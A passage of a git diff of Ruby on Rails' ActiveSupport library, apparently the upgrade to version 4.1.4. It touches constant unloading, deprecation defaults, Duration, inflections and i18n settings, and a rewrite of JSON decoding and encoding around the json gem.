         when String then desc.sub(/^::/, '')
         when Symbol then desc.to_s
         when Module
-          desc.name.presence ||
+          desc.name ||
             raise(ArgumentError, "Anonymous modules have no name to be referenced by")
         else raise TypeError, "Not a valid constant descriptor: #{desc.inspect}"
       end
@@ -649,6 +666,14 @@ module ActiveSupport #:nodoc:
       constants = normalized.split('::')
       to_remove = constants.pop
 
+      # Remove the file path from the loaded list.
+      file_path = search_for_file(const.underscore)
+      if file_path
+        expanded = File.expand_path(file_path)
+        expanded.sub!(/\.rb\z/, '')
+        self.loaded.delete(expanded)
+      end
+
       if constants.empty?
         parent = Object
       else
diff --git a/activesupport/lib/active_support/deprecation.rb b/activesupport/lib/active_support/deprecation.rb
index 6c15fff..ab16977 100644
--- a/activesupport/lib/active_support/deprecation.rb
+++ b/activesupport/lib/active_support/deprecation.rb
@@ -25,14 +25,14 @@ module ActiveSupport
     include Reporting
     include MethodWrapper
 
-    # The version the deprecated behavior will be removed, by default.
+    # The version number in which the deprecated behavior will be removed, by default.
     attr_accessor :deprecation_horizon
 
-    # It accepts two parameters on initialization. The first is an version of library
-    # and the second is an library name
+    # It accepts two parameters on initialization. The first is a version of library
+    # and the second is a library name
     #
     #   ActiveSupport::Deprecation.new('2.0', 'MyLibrary')
-    def initialize(deprecation_horizon = '4.1', gem_name = 'Rails')
+    def initialize(deprecation_horizon = '4.2', gem_name = 'Rails')
       self.gem_name = gem_name
       self.deprecation_horizon = deprecation_horizon
       # By default, warnings are not silenced and debugging is off.
diff --git a/activesupport/lib/active_support/deprecation/behaviors.rb b/activesupport/lib/active_support/deprecation/behaviors.rb
index 45df3ac..328b8c3 100644
--- a/activesupport/lib/active_support/deprecation/behaviors.rb
+++ b/activesupport/lib/active_support/deprecation/behaviors.rb
@@ -17,7 +17,7 @@ module ActiveSupport
         $stderr.puts(message)
         $stderr.puts callstack.join("\n  ") if debug
       },
-      
+
       log: ->(message, callstack) {
         logger =
             if defined?(Rails) && Rails.logger
@@ -29,12 +29,12 @@ module ActiveSupport
         logger.warn message
         logger.debug callstack.join("\n  ") if debug
       },
-      
+
       notify: ->(message, callstack) {
         ActiveSupport::Notifications.instrument("deprecation.rails",
                                                 :message => message, :callstack => callstack)
       },
-      
+
       silence: ->(message, callstack) {},
     }
 
diff --git a/activesupport/lib/active_support/duration.rb b/activesupport/lib/active_support/duration.rb
index 2cb1f40..09eb732 100644
--- a/activesupport/lib/active_support/duration.rb
+++ b/activesupport/lib/active_support/duration.rb
@@ -49,6 +49,10 @@ module ActiveSupport
       end
     end
 
+    def eql?(other)
+      other.is_a?(Duration) && self == other
+    end
+
     def self.===(other) #:nodoc:
       other.is_a?(Duration)
     rescue ::NoMethodError
@@ -70,13 +74,11 @@ module ActiveSupport
     alias :until :ago
 
     def inspect #:nodoc:
-      consolidated = parts.inject(::Hash.new(0)) { |h,(l,r)| h[l] += r; h }
-      parts = [:years, :months, :days, :minutes, :seconds].map do |length|
-        n = consolidated[length]
-        "#{n} #{n == 1 ? length.to_s.singularize : length.to_s}" if n.nonzero?
-      end.compact
-      parts = ["0 seconds"] if parts.empty?
-      parts.to_sentence(:locale => :en)
+      parts.
+        reduce(::Hash.new(0)) { |h,(l,r)| h[l] += r; h }.
+        sort_by {|unit,  _ | [:years, :months, :days, :minutes, :seconds].index(unit)}.
+        map     {|unit, val| "#{val} #{val == 1 ? unit.to_s.chop : unit.to_s}"}.
+        to_sentence(:locale => :en)
     end
 
     def as_json(options = nil) #:nodoc:
@@ -101,6 +103,14 @@ module ActiveSupport
 
     private
 
+      # We define it as a workaround to Ruby 2.0.0-p353 bug.
+      # For more information, check rails/rails#13055.
+      # It should be dropped once a new Ruby patch-level
+      # release after 2.0.0-p353 happens.
+      def ===(other) #:nodoc:
+        value === other
+      end
+
       def method_missing(method, *args, &block) #:nodoc:
         value.send(method, *args, &block)
       end
diff --git a/activesupport/lib/active_support/file_update_checker.rb b/activesupport/lib/active_support/file_update_checker.rb
index 20136dd..78b627c 100644
--- a/activesupport/lib/active_support/file_update_checker.rb
+++ b/activesupport/lib/active_support/file_update_checker.rb
@@ -92,7 +92,7 @@ module ActiveSupport
 
     def watched
       @watched || begin
-        all = @files.select { |f| File.exists?(f) }
+        all = @files.select { |f| File.exist?(f) }
         all.concat(Dir[@glob]) if @glob
         all
       end
@@ -115,7 +115,7 @@ module ActiveSupport
     end
 
     def compile_glob(hash)
-      hash.freeze # Freeze so changes aren't accidently pushed
+      hash.freeze # Freeze so changes aren't accidentally pushed
       return if hash.empty?
 
       globs = hash.map do |key, value|
diff --git a/activesupport/lib/active_support/gem_version.rb b/activesupport/lib/active_support/gem_version.rb
new file mode 100644
index 0000000..ffeb9f7
--- /dev/null
+++ b/activesupport/lib/active_support/gem_version.rb
@@ -0,0 +1,15 @@
+module ActiveSupport
+  # Returns the version of the currently loaded ActiveSupport as a <tt>Gem::Version</tt>
+  def self.gem_version
+    Gem::Version.new VERSION::STRING
+  end
+
+  module VERSION
+    MAJOR = 4
+    MINOR = 1
+    TINY  = 4
+    PRE   = nil
+
+    STRING = [MAJOR, MINOR, TINY, PRE].compact.join(".")
+  end
+end
diff --git a/activesupport/lib/active_support/hash_with_indifferent_access.rb b/activesupport/lib/active_support/hash_with_indifferent_access.rb
index 0a81a83..154f546 100644
--- a/activesupport/lib/active_support/hash_with_indifferent_access.rb
+++ b/activesupport/lib/active_support/hash_with_indifferent_access.rb
@@ -72,6 +72,7 @@ module ActiveSupport
     end
 
     def self.new_from_hash_copying_default(hash)
+      hash = hash.to_hash
       new(hash).tap do |new_hash|
         new_hash.default = hash.default
       end
@@ -125,7 +126,7 @@ module ActiveSupport
       if other_hash.is_a? HashWithIndifferentAccess
         super(other_hash)
       else
-        other_hash.each_pair do |key, value|
+        other_hash.to_hash.each_pair do |key, value|
           if block_given? && key?(key)
             value = yield(convert_key(key), self[key], value)
           end
@@ -159,7 +160,7 @@ module ActiveSupport
     #
     #   counters.fetch('foo')          # => 1
     #   counters.fetch(:bar, 0)        # => 0
-    #   counters.fetch(:bar) {|key| 0} # => 0
+    #   counters.fetch(:bar) { |key| 0 } # => 0
     #   counters.fetch(:zoo)           # => KeyError: key not found: "zoo"
     def fetch(key, *extras)
       super(convert_key(key), *extras)
@@ -172,7 +173,7 @@ module ActiveSupport
     #   hash[:b] = 'y'
     #   hash.values_at('a', 'b') # => ["x", "y"]
     def values_at(*indices)
-      indices.collect {|key| self[convert_key(key)]}
+      indices.collect { |key| self[convert_key(key)] }
     end
 
     # Returns an exact copy of the hash.
@@ -207,7 +208,7 @@ module ActiveSupport
     # Replaces the contents of this hash with other_hash.
     #
     #   h = { "a" => 100, "b" => 200 }
-    #   h.replace({ "c" => 300, "d" => 400 }) #=> {"c"=>300, "d"=>400}
+    #   h.replace({ "c" => 300, "d" => 400 }) # => {"c"=>300, "d"=>400}
     def replace(other_hash)
       super(self.class.new_from_hash_copying_default(other_hash))
     end
@@ -224,9 +225,17 @@ module ActiveSupport
     undef :symbolize_keys!
     undef :deep_symbolize_keys!
     def symbolize_keys; to_hash.symbolize_keys! end
-    def deep_symbolize_keys; to_hash.deep_symbolize_keys end
+    def deep_symbolize_keys; to_hash.deep_symbolize_keys! end
     def to_options!; self end
 
+    def select(*args, &block)
+      dup.tap { |hash| hash.select!(*args, &block) }
+    end
+
+    def reject(*args, &block)
+      dup.tap { |hash| hash.reject!(*args, &block) }
+    end
+
     # Convert to a regular hash with string keys.
     def to_hash
       _new_hash= {}
diff --git a/activesupport/lib/active_support/i18n.rb b/activesupport/lib/active_support/i18n.rb
index 22521a8..6cc9819 100644
--- a/activesupport/lib/active_support/i18n.rb
+++ b/activesupport/lib/active_support/i18n.rb
@@ -1,13 +1,13 @@
+require 'active_support/core_ext/hash/deep_merge'
+require 'active_support/core_ext/hash/except'
+require 'active_support/core_ext/hash/slice'
 begin
-  require 'active_support/core_ext/hash/deep_merge'
-  require 'active_support/core_ext/hash/except'
-  require 'active_support/core_ext/hash/slice'
   require 'i18n'
-  require 'active_support/lazy_load_hooks'
 rescue LoadError => e
   $stderr.puts "The i18n gem is not available. Please add it to your Gemfile and run bundle install"
   raise e
 end
+require 'active_support/lazy_load_hooks'
 
 ActiveSupport.run_load_hooks(:i18n)
 I18n.load_path << "#{File.dirname(__FILE__)}/locale/en.yml"
diff --git a/activesupport/lib/active_support/i18n_railtie.rb b/activesupport/lib/active_support/i18n_railtie.rb
index 890dd93..23cd671 100644
--- a/activesupport/lib/active_support/i18n_railtie.rb
+++ b/activesupport/lib/active_support/i18n_railtie.rb
@@ -8,6 +8,8 @@ module I18n
     config.i18n.railties_load_path = []
     config.i18n.load_path = []
     config.i18n.fallbacks = ActiveSupport::OrderedOptions.new
+    # Enforce I18n to check the available locales when setting a locale.
+    config.i18n.enforce_available_locales = true
 
     # Set the i18n configuration after initialization since a lot of
     # configuration is still usually done in application initializers.
@@ -31,6 +33,12 @@ module I18n
 
       fallbacks = app.config.i18n.delete(:fallbacks)
 
+      # Avoid issues with setting the default_locale by disabling available locales
+      # check while configuring.
+      enforce_available_locales = app.config.i18n.delete(:enforce_available_locales)
+      enforce_available_locales = I18n.enforce_available_locales unless I18n.enforce_available_locales.nil?
+      I18n.enforce_available_locales = false
+
       app.config.i18n.each do |setting, value|
         case setting
         when :railties_load_path
@@ -44,6 +52,9 @@ module I18n
 
       init_fallbacks(fallbacks) if fallbacks && validate_fallbacks(fallbacks)
 
+      # Restore available locales check so it will take place from now on.
+      I18n.enforce_available_locales = enforce_available_locales
+
       reloader = ActiveSupport::FileUpdateChecker.new(I18n.load_path.dup){ I18n.reload! }
       app.reloaders << reloader
       ActionDispatch::Reloader.to_prepare { reloader.execute_if_updated }
diff --git a/activesupport/lib/active_support/inflections.rb b/activesupport/lib/active_support/inflections.rb
index ef882eb..2ca1124 100644
--- a/activesupport/lib/active_support/inflections.rb
+++ b/activesupport/lib/active_support/inflections.rb
@@ -1,5 +1,11 @@
 require 'active_support/inflector/inflections'
 
+#--
+# Defines the standard inflection rules. These are the starting point for
+# new projects and are not considered complete. The current set of inflection
+# rules is frozen. This means, we do not change them to become more complete.
+# This is a safety measure to keep existing applications from breaking.
+#++
 module ActiveSupport
   Inflector.inflections(:en) do |inflect|
     inflect.plural(/$/, 's')
@@ -57,7 +63,6 @@ module ActiveSupport
     inflect.irregular('child', 'children')
     inflect.irregular('sex', 'sexes')
     inflect.irregular('move', 'moves')
-    inflect.irregular('cow', 'kine')
     inflect.irregular('zombie', 'zombies')
 
     inflect.uncountable(%w(equipment information rice money species series fish sheep jeans police))
diff --git a/activesupport/lib/active_support/inflector/inflections.rb b/activesupport/lib/active_support/inflector/inflections.rb
index c96debb..eda0edf 100644
--- a/activesupport/lib/active_support/inflector/inflections.rb
+++ b/activesupport/lib/active_support/inflector/inflections.rb
@@ -52,21 +52,21 @@ module ActiveSupport
       # into a non-delimited single lowercase word when passed to +underscore+.
       #
       #   acronym 'HTML'
-      #   titleize 'html'     #=> 'HTML'
-      #   camelize 'html'     #=> 'HTML'
-      #   underscore 'MyHTML' #=> 'my_html'
+      #   titleize 'html'     # => 'HTML'
+      #   camelize 'html'     # => 'HTML'
+      #   underscore 'MyHTML' # => 'my_html'
       #
       # The acronym, however, must occur as a delimited unit and not be part of
       # another word for conversions to recognize it:
       #
       #   acronym 'HTTP'
-      #   camelize 'my_http_delimited' #=> 'MyHTTPDelimited'
-      #   camelize 'https'             #=> 'Https', not 'HTTPs'
-      #   underscore 'HTTPS'           #=> 'http_s', not 'https'
+      #   camelize 'my_http_delimited' # => 'MyHTTPDelimited'
+      #   camelize 'https'             # => 'Https', not 'HTTPs'
+      #   underscore 'HTTPS'           # => 'http_s', not 'https'
       #
       #   acronym 'HTTPS'
-      #   camelize 'https'   #=> 'HTTPS'
-      #   underscore 'HTTPS' #=> 'https'
+      #   camelize 'https'   # => 'HTTPS'
+      #   underscore 'HTTPS' # => 'https'
       #
       # Note: Acronyms that are passed to +pluralize+ will no longer be
       # recognized, since the acronym will not occur as a delimited unit in the
@@ -74,25 +74,25 @@ module ActiveSupport
       # form as an acronym as well:
       #
       #    acronym 'API'
-      #    camelize(pluralize('api')) #=> 'Apis'
+      #    camelize(pluralize('api')) # => 'Apis'
       #
       #    acronym 'APIs'
-      #    camelize(pluralize('api')) #=> 'APIs'
+      #    camelize(pluralize('api')) # => 'APIs'
       #
       # +acronym+ may be used to specify any word that contains an acronym or
       # otherwise needs to maintain a non-standard capitalization. The only
       # restriction is that the word must begin with a capital letter.
       #
       #   acronym 'RESTful'
-      #   underscore 'RESTful'           #=> 'restful'
-      #   underscore 'RESTfulController' #=> 'restful_controller'
-      #   titleize 'RESTfulController'   #=> 'RESTful Controller'
-      #   camelize 'restful'             #=> 'RESTful'
-      #   camelize 'restful_controller'  #=> 'RESTfulController'
+      #   underscore 'RESTful'           # => 'restful'
+      #   underscore 'RESTfulController' # => 'restful_controller'
+      #   titleize 'RESTfulController'   # => 'RESTful Controller'
+      #   camelize 'restful'             # => 'RESTful'
+      #   camelize 'restful_controller'  # => 'RESTfulController'
       #
       #   acronym 'McDonald'
-      #   underscore 'McDonald' #=> 'mcdonald'
-      #   camelize 'mcdonald'   #=> 'McDonald'
+      #   underscore 'McDonald' # => 'mcdonald'
+      #   camelize 'mcdonald'   # => 'McDonald'
       def acronym(word)
         @acronyms[word.downcase] = word
         @acronym_regex = /#{@acronyms.values.join("|")}/
diff --git a/activesupport/lib/active_support/inflector/methods.rb b/activesupport/lib/active_support/inflector/methods.rb
index 3964872..16ec34a 100644
--- a/activesupport/lib/active_support/inflector/methods.rb
+++ b/activesupport/lib/active_support/inflector/methods.rb
@@ -1,6 +1,5 @@
 # encoding: utf-8
 
-require 'active_support/inflector/inflections'
 require 'active_support/inflections'
 
 module ActiveSupport
@@ -37,7 +36,7 @@ module ActiveSupport
     # string.
     #
     # If passed an optional +locale+ parameter, the word will be
-    # pluralized using rules defined for that language. By default,
+    # singularized using rules defined for that language. By default,
     # this parameter is set to <tt>:en</tt>.
     #
     #   'posts'.singularize            # => "post"
@@ -73,7 +72,9 @@ module ActiveSupport
       else
         string = string.sub(/^(?:#{inflections.acronym_regex}(?=\b|[A-Z_])|\w)/) { $&.downcase }
       end
-      string.gsub(/(?:_|(\/))([a-z\d]*)/i) { "#{$1}#{inflections.acronyms[$2] || $2.capitalize}" }.gsub('/', '::')
+      string.gsub!(/(?:_|(\/))([a-z\d]*)/i) { "#{$1}#{inflections.acronyms[$2] || $2.capitalize}" }
+      string.gsub!('/', '::')
+      string
     end
 
     # Makes an underscored, lowercase form from the expression in the string.
@@ -88,8 +89,7 @@ module ActiveSupport
     #
     #   'SSLError'.underscore.camelize # => "SslError"
     def underscore(camel_cased_word)
-      word = camel_cased_word.to_s.dup
-      word.gsub!('::', '/')
+      word = camel_cased_word.to_s.gsub('::', '/')
       word.gsub!(/(?:([A-Za-z\d])|^)(#{inflections.acronym_regex})(?=\b|[^a-z])/) { "#{$1}#{$1 && '_'}#{$2.downcase}" }
       word.gsub!(/([A-Z\d]+)([A-Z][a-z])/,'\1_\2')
       word.gsub!(/([a-z\d])([A-Z])/,'\1_\2')
@@ -98,20 +98,27 @@ module ActiveSupport
       word
     end
 
-    # Capitalizes the first word and turns underscores into spaces and strips a
-    # trailing "_id", if any. Like +titleize+, this is meant for creating pretty
-    # output.
-    #
-    #   'employee_salary'.humanize # => "Employee salary"
-    #   'author_id'.humanize       # => "Author"
-    def humanize(lower_case_and_underscored_word)
+    # Capitalizes the first word, turns underscores into spaces, and strips a
+    # trailing '_id' if present.
+    # Like +titleize+, this is meant for creating pretty output.
+    #
+    # The capitalization of the first word can be turned off by setting the
+    # optional parameter +capitalize+ to false.
+    # By default, this parameter is true.
+    #
+    #   humanize('employee_salary')              # => "Employee salary"
+    #   humanize('author_id')                    # => "Author"
+    #   humanize('author_id', capitalize: false) # => "author"
+    def humanize(lower_case_and_underscored_word, options = {})
       result = lower_case_and_underscored_word.to_s.dup
       inflections.humans.each { |(rule, replacement)| break if result.sub!(rule, replacement) }
       result.gsub!(/_id$/, "")
       result.tr!('_', ' ')
-      result.gsub(/([a-z\d]*)/i) { |match|
+      result.gsub!(/([a-z\d]*)/i) { |match|
         "#{inflections.acronyms[match] || match.downcase}"
-      }.gsub(/^\w/) { $&.upcase }
+      }
+      result.gsub!(/^\w/) { |match| match.upcase } if options.fetch(:capitalize, true)
+      result
     end
 
     # Capitalizes all the words and replaces some characters in the string to
@@ -147,7 +154,7 @@ module ActiveSupport
     #
     # Singular names are not handled correctly:
     #
-    #   'business'.classify     # => "Busines"
+    #   'calculus'.classify     # => "Calculu"
     def classify(table_name)
       # strip out any leading schema name
       camelize(singularize(table_name.to_s.sub(/.*\./, '')))
@@ -185,7 +192,7 @@ module ActiveSupport
     #
     # See also +demodulize+.
     def deconstantize(path)
-      path.to_s[0...(path.rindex('::') || 0)] # implementation based on the one in facets' Module#spacename
+      path.to_s[0, path.rindex('::') || 0] # implementation based on the one in facets' Module#spacename
     end
 
     # Creates a foreign key name from a class name.
@@ -219,7 +226,12 @@ module ActiveSupport
     # unknown.
     def constantize(camel_cased_word)
       names = camel_cased_word.split('::')
-      names.shift if names.empty? || names.first.empty?
+
+      # Trigger a builtin NameError exception including the ill-formed constant in the message.
+      Object.const_get(camel_cased_word) if names.empty?
+
+      # Remove the first blank element in case of '::ClassName' notation.
+      names.shift if names.size > 1 && names.first.empty?
 
       names.inject(Object) do |constant, name|
         if constant == Object
@@ -314,9 +326,14 @@ module ActiveSupport
     private
 
     # Mount a regular expression that will match part by part of the constant.
-    # For instance, Foo::Bar::Baz will generate Foo(::Bar(::Baz)?)?
+    #
+    #   const_regexp("Foo::Bar::Baz") # => /Foo(::Bar(::Baz)?)?/
+    #   const_regexp("::")            # => /::/
     def const_regexp(camel_cased_word) #:nodoc:
       parts = camel_cased_word.split("::")
+
+      return Regexp.escape(camel_cased_word) if parts.blank?
+
       last  = parts.pop
 
       parts.reverse.inject(last) do |acc, part|
diff --git a/activesupport/lib/active_support/json/decoding.rb b/activesupport/lib/active_support/json/decoding.rb
index a4a32b2..8b5fc70 100644
--- a/activesupport/lib/active_support/json/decoding.rb
+++ b/activesupport/lib/active_support/json/decoding.rb
@@ -1,20 +1,30 @@
 require 'active_support/core_ext/module/attribute_accessors'
 require 'active_support/core_ext/module/delegation'
-require 'multi_json'
+require 'json'
 
 module ActiveSupport
   # Look for and parse json strings that look like ISO 8601 times.
   mattr_accessor :parse_json_times
 
   module JSON
+    # matches YAML-formatted dates
+    DATE_REGEX = /^(?:\d{4}-\d{2}-\d{2}|\d{4}-\d{1,2}-\d{1,2}[T \t]+\d{1,2}:\d{2}:\d{2}(\.[0-9]*)?(([ \t]*)Z|[-+]\d{2}?(:\d{2})?))$/
+    
     class << self
       # Parses a JSON string (JavaScript Object Notation) into a hash.
       # See www.json.org for more info.
       #
       #   ActiveSupport::JSON.decode("{\"team\":\"rails\",\"players\":\"36\"}")
       #   => {"team" => "rails", "players" => "36"}
-      def decode(json, options ={})
-        data = MultiJson.load(json, options)
+      def decode(json, options = {})
+        if options.present?
+          raise ArgumentError, "In Rails 4.1, ActiveSupport::JSON.decode no longer " \
+            "accepts an options hash for MultiJSON. MultiJSON reached its end of life " \
+            "and has been removed."
+        end
+
+        data = ::JSON.parse(json, quirks_mode: true)
+
         if ActiveSupport.parse_json_times
           convert_dates_from(data)
         else
@@ -22,23 +32,6 @@ module ActiveSupport
         end
       end
 
-      def engine
-        MultiJson.adapter
-      end
-      alias :backend :engine
-
-      def engine=(name)
-        MultiJson.use(name)
-      end
-      alias :backend= :engine=
-
-      def with_backend(name)
-        old_backend, self.backend = backend, name
-        yield
-      ensure
-        self.backend = old_backend
-      end
-
       # Returns the class of the error that will be raised when there is an
       # error in decoding JSON. Using this method means you won't directly
       # depend on the ActiveSupport's JSON implementation, in case it changes
@@ -50,7 +43,7 @@ module ActiveSupport
       #     Rails.logger.warn("Attempted to decode invalid JSON: #{some_string}")
       #   end
       def parse_error
-        MultiJson::DecodeError
+        ::JSON::ParserError
       end
 
       private
diff --git a/activesupport/lib/active_support/json/encoding.rb b/activesupport/lib/active_support/json/encoding.rb
index 9bf1ea3..f29d422 100644
--- a/activesupport/lib/active_support/json/encoding.rb
+++ b/activesupport/lib/active_support/json/encoding.rb
@@ -1,338 +1,172 @@
-require 'active_support/core_ext/object/to_json'
+require 'active_support/core_ext/object/json'
 require 'active_support/core_ext/module/delegation'
-require 'active_support/json/variable'
-
-require 'bigdecimal'
-require 'active_support/core_ext/big_decimal/conversions' # for #to_s
-require 'active_support/core_ext/hash/except'
-require 'active_support/core_ext/hash/slice'
-require 'active_support/core_ext/object/instance_variables'
-require 'time'
-require 'active_support/core_ext/time/conversions'
-require 'active_support/core_ext/date_time/conversions'
-require 'active_support/core_ext/date/conversions'
-require 'set'
 
 module ActiveSupport
   class << self
     delegate :use_standard_json_time_format, :use_standard_json_time_format=,
+      :time_precision, :time_precision=,
       :escape_html_entities_in_json, :escape_html_entities_in_json=,
       :encode_big_decimal_as_string, :encode_big_decimal_as_string=,
+      :json_encoder, :json_encoder=,
       :to => :'ActiveSupport::JSON::Encoding'
   end
 
   module JSON
-    # matches YAML-formatted dates
-    DATE_REGEX = /^(?:\d{4}-\d{2}-\d{2}|\d{4}-\d{1,2}-\d{1,2}[T \t]+\d{1,2}:\d{2}:\d{2}(\.[0-9]*)?(([ \t]*)Z|[-+]\d{2}?(:\d{2})?))$/
-
     # Dumps objects in JSON (JavaScript Object Notation).
     # See www.json.org for more info.
     #
     #   ActiveSupport::JSON.encode({ team: 'rails', players: '36' })
     #   # => "{\"team\":\"rails\",\"players\":\"36\"}"
     def self.encode(value, options = nil)
-      Encoding::Encoder.new(options).encode(value)
+      Encoding.json_encoder.new(options).encode(value)
     end
 
     module Encoding #:nodoc:
-      class CircularReferenceError < StandardError; end
-
-      class Encoder
+      class JSONGemEncoder #:nodoc:
         attr_reader :options
 
         def initialize(options = nil)
           @options = options || {}
-          @seen = Set.new
         end
 
-        def encode(value, use_options = true)
-          check_for_circular_references(value) do
-            jsonified = use_options ? value.as_json(options_for(value)) : value.as_json
-            jsonified.encode_json(self)
-          end
+        # Encode the given object into a JSON string
+        def encode(value)
+          stringify jsonify value.as_json(options.dup)
         end
 
-        # like encode, but only calls as_json, without encoding to string.
-        def as_json(value, use_options = true)
-          check_for_circular_references(value) do
-            use_options ? value.as_json(options_for(value)) : value.as_json
+        private
+          # Rails does more escaping than the JSON gem natively does (we
+          # escape \u2028 and \u2029 and optionally >, <, & to work around
+          # certain browser problems).
+          ESCAPED_CHARS = {
+            "\u2028" => '\u2028',
+            "\u2029" => '\u2029',
+            '>'      => '\u003e',
+            '<'      => '\u003c',
+            '&'      => '\u0026',
+            }
+
+          ESCAPE_REGEX_WITH_HTML_ENTITIES = /[\u2028\u2029><&]/u
+          ESCAPE_REGEX_WITHOUT_HTML_ENTITIES = /[\u2028\u2029]/u
+
+          # This class wraps all the strings we see and does the extra escaping
+          class EscapedString < String #:nodoc:
+            def to_json(*)
+              if Encoding.escape_html_entities_in_json
+                super.gsub ESCAPE_REGEX_WITH_HTML_ENTITIES, ESCAPED_CHARS
+              else
+                super.gsub ESCAPE_REGEX_WITHOUT_HTML_ENTITIES, ESCAPED_CHARS
+              end
+            end
           end
-        end
 
-        def options_for(value)
-          if value.is_a?(Array) || value.is_a?(Hash)
-            # hashes and arrays need to get encoder in the options, so that
-            # they can detect circular references.
-            options.merge(:encoder => self)
-          else
-            options.dup
+          # Mark these as private so we don't leak encoding-specific constructs
+          private_constant :ESCAPED_CHARS, :ESCAPE_REGEX_WITH_HTML_ENTITIES,
+            :ESCAPE_REGEX_WITHOUT_HTML_ENTITIES, :EscapedString
+
+          # Convert an object into a "JSON-ready" representation composed of
+          # primitives like Hash, Array, String, Numeric, and true/false/nil.
+          # Recursively calls #as_json to the object to recursively build a
+          # fully JSON-ready object.
+          #
+          # This allows developers to implement #as_json without having to
+          # worry about what base types of objects they are allowed to return
+          # or having to remember to call #as_json recursively.
+          #
+          # Note: the +options+ hash passed to +object.to_json+ is only passed
+          # to +object.as_json+, not any of this method's recursive +#as_json+
+          # calls.
+          def jsonify(value)
+            case value
+            when String
+              EscapedString.new(value)
+            when Numeric, NilClass, TrueClass, FalseClass
+              value
+            when Hash
+              Hash[value.map { |k, v| [jsonify(k), jsonify(v)] }]
+            when Array
+              value.map { |v| jsonify(v) }
+            else
+              jsonify value.as_json
+            end
           end
-        end
-
-        def escape(string)
-          Encoding.escape(string)
-        end
 
-        private
-          def check_for_circular_references(value)
-            unless @seen.add?(value.__id__)
-              raise CircularReferenceError, 'object references itself'
-            end
-            yield
-          ensure
-            @seen.delete(value.__id__)
+          # Encode a "jsonified" Ruby data structure using the JSON gem
+          def stringify(jsonified)
+            ::JSON.generate(jsonified, quirks_mode: true, max_nesting: false)
           end
       end
 
-
-      ESCAPED_CHARS = {
-        "\x00" => '\u0000', "\x01" => '\u0001', "\x02" => '\u0002',
-        "\x03" => '\u0003', "\x04" => '\u0004', "\x05" => '\u0005',
-        "\x06" => '\u0006', "\x07" => '\u0007', "\x0B" => '\u000B',
-        "\x0E" => '\u000E', "\x0F" => '\u000F', "\x10" => '\u0010',
-        "\x11" => '\u0011', "\x12" => '\u0012', "\x13" => '\u0013',
-        "\x14" => '\u0014', "\x15" => '\u0015', "\x16" => '\u0016',
-        "\x17" => '\u0017', "\x18" => '\u0018', "\x19" => '\u0019',
-        "\x1A" => '\u001A', "\x1B" => '\u001B', "\x1C" => '\u001C',
-        "\x1D" => '\u001D', "\x1E" => '\u001E', "\x1F" => '\u001F',
-        "\010" =>  '\b',
-        "\f"   =>  '\f',
-        "\n"   =>  '\n',
-        "\r"   =>  '\r',
-        "\t"   =>  '\t',
-        '"'    =>  '\"',
-        '\\'   =>  '\\\\',
-        '>'    =>  '\u003E',
-        '<'    =>  '\u003C',
-        '&'    =>  '\u0026' }
-
       class << self
         # If true, use ISO 8601 format for dates and times. Otherwise, fall back
         # to the Active Support legacy format.
         attr_accessor :use_standard_json_time_format
 
-        # If false, serializes BigDecimal objects as numeric instead of wrapping
-        # them in a string.
-        attr_accessor :encode_big_decimal_as_string
-
-        attr_accessor :escape_regex
-        attr_reader :escape_html_entities_in_json
-
-        def escape_html_entities_in_json=(value)
-          self.escape_regex = \
-            if @escape_html_entities_in_json = value
-              /[\x00-\x1F"\\><&]/
-            else
-              /[\x00-\x1F"\\]/
-            end
-        end
-
-        def escape(string)
-          string = string.encode(::Encoding::UTF_8, :undef => :replace).force_encoding(::Encoding::BINARY)
-          json = string.gsub(escape_regex) { |s| ESCAPED_CHARS[s] }
-          json = %("#{json}")
-          json.force_encoding(::Encoding::UTF_8)
-          json
-        end
-      end
-
-      self.use_standard_json_time_format = true
-      self.escape_html_entities_in_json  = true
-      self.encode_big_decimal_as_string  = true
-    end
-  end
-end
-
-class Object
-  def as_json(options = nil) #:nodoc:
-    if respond_to?(:to_hash)
-      to_hash
-    else
-      instance_values
-    end
-  end
-end
-
-class Struct #:nodoc:
-  def as_json(options = nil)
-    Hash[members.zip(values)]
-  end
-end
-
-class TrueClass
-  def as_json(options = nil) #:nodoc:
-    self
-  end
+        # If true, encode >, <, & as escaped unicode sequences (e.g. > as \u003e)
+        # as a safety measure.
+        attr_accessor :escape_html_entities_in_json
 
-  def encode_json(encoder) #:nodoc:
-    to_s
-  end
-end
+        # Sets the precision of encoded time values.
+        # Defaults to 3 (equivalent to millisecond precision)
+        attr_accessor :time_precision
 
-class FalseClass
-  def as_json(options = nil) #:nodoc:
-    self
-  end
-
-  def encode_json(encoder) #:nodoc:
-    to_s
-  end
-end
+        # Sets the encoder used by Rails to encode Ruby objects into JSON strings
+        # in +Object#to_json+ and +ActiveSupport::JSON.encode+.
+        attr_accessor :json_encoder
 
-class NilClass
-  def as_json(options = nil) #:nodoc:
-    self
-  end
-
-  def encode_json(encoder) #:nodoc:
-    'null'
-  end
-end
-
-class String
-  def as_json(options = nil) #:nodoc:
-    self
-  end
+        def encode_big_decimal_as_string=(as_string)
+          message = \
+            "The JSON encoder in Rails 4.1 no longer supports encoding BigDecimals as JSON numbers. Instead, " \
+            "the new encoder will always encode them as strings.\n\n" \
+            "You are seeing this error because you have 'active_support.encode_big_decimal_as_string' in " \
+            "your configuration file. If you have been setting this to true, you can safely remove it from " \
+            "your configuration. Otherwise, you should add the 'activesupport-json_encoder' gem to your " \
+            "Gemfile in order to restore this functionality."
 
-  def encode_json(encoder) #:nodoc:
-    encoder.escape(self)
-  end
-end
-
-class Symbol
-  def as_json(options = nil) #:nodoc:
-    to_s
-  end
-end
-
-class Numeric
-  def as_json(options = nil) #:nodoc:
-    self
-  end
-
-  def encode_json(encoder) #:nodoc:
-    to_s
-  end
-end
-
-class Float
-  # Encoding Infinity or NaN to JSON should return "null". The default returns
-  # "Infinity" or "NaN" which breaks parsing the JSON. E.g. JSON.parse('[NaN]').
-  def as_json(options = nil) #:nodoc:
-    finite? ? self : nil
-  end
-end
-
-class BigDecimal
-  # A BigDecimal would be naturally represented as a JSON number. Most libraries,
-  # however, parse non-integer JSON numbers directly as floats. Clients using
-  # those libraries would get in general a wrong number and no way to recover
-  # other than manually inspecting the string with the JSON code itself.
-  #
-  # That's why a JSON string is returned. The JSON literal is not numeric, but
-  # if the other end knows by contract that the data is supposed to be a
-  # BigDecimal, it still has the chance to post-process the string and get the
-  # real value.
-  #
-  # Use <tt>ActiveSupport.use_standard_json_big_decimal_format = true</tt> to
-  # override this behavior.
-  def as_json(options = nil) #:nodoc:
-    if finite?
-      ActiveSupport.encode_big_decimal_as_string ? to_s : self
-    else
-      nil
-    end
-  end
-end
-
-class Regexp
